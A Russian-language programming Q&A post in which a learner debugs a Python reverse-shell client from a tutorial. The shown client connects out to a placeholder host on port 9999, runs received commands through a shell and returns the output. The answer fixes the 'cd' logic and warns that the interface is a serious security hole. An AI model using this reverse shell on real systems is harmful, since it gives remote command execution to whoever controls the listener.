#python #python-3.x
#python #python-3.x
Вопрос:
import os
import socket
import subprocess
s = socket.socket()
host = '<my-ip>'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
outputBytes = cmd.stdout.read() cmd .stderr.read()
outputStr = str(outputBytes, "utf-8")
s.send(str.encode(outputStr str(os.getcwd() '> ')))
print (outputStr)
# Close connection
s.close()
Я пытаюсь создать удаленное клиент-серверное приложение с использованием python, пройдя через туториал newboston для обратной оболочки python.
Приведенный выше код для client.py . Дело в том, что все команды работают нормально. Когда я использую
cd «Имя каталога с пробелом»
это выдает мне эту ошибку «Система не может найти указанный путь». Но он все равно изменяет каталог. Я не уверен, почему он все еще изменяет каталог даже после выдачи ошибки?
Ответ №1:
Здесь есть два if
s:
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
-
Если команда начинается с ‘cd’, выполняется первый блок (потому что он начинается с ‘cd’).
-
Если команда начинается с ‘cd’, второй блок также выполняется (поскольку он имеет длину> 0).
Первый блок изменяет каталог, даже если в нем есть пробелы. Второй блок этого не делает.
Вы хотите использовать elif
, чтобы предотвратить выполнение обоих блоков:
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
elif len(data) > 0:
cmd = subprocess.Popen(...
Кстати, с этим кодом есть и другие проблемы:
-
'cdefgh'
изменит каталог на'fgh'
-
'cd abc'
попытается изменить каталог на' abc'
и, вероятно, потерпит неудачу -
если
Popen
используется для чего-либо, кромеcd
, я не понимаю, почему онcd
также не будет использоваться -
раскрытие такого интерфейса на сервере — это большая дыра в безопасности, которую может создать любой вирус — если вы делаете это просто для изучения, запишите код, как только закончите 😉